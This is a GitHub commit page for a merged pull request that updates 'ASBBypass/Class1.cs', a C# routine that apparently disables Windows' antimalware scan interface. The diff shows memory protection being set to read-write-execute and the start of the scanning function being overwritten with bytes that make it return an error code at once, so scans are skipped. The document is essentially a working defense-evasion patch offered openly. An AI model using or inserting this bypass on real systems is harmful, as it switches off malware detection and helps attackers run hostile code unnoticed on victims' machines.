Permalink
Browse files

Merge pull request #1 from phra/patch-1

Update bypass to latest version C#
  • Loading branch information...
rasta-mouse committed Jan 4, 2019
2 parents 626a27a + f516107 commit 050dae393338ae5b12789b2453b728a93ee1dcd4
Showing with 5 additions and 5 deletions.
  1. +5 −5 ASBBypass/Class1.cs
@@ -28,12 +28,12 @@ public static int Disable()

if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(ASBPtr, unmanagedPointer, 6);

return 0;
}
}
}
}

0 comments on commit 050dae3

Please sign in to comment.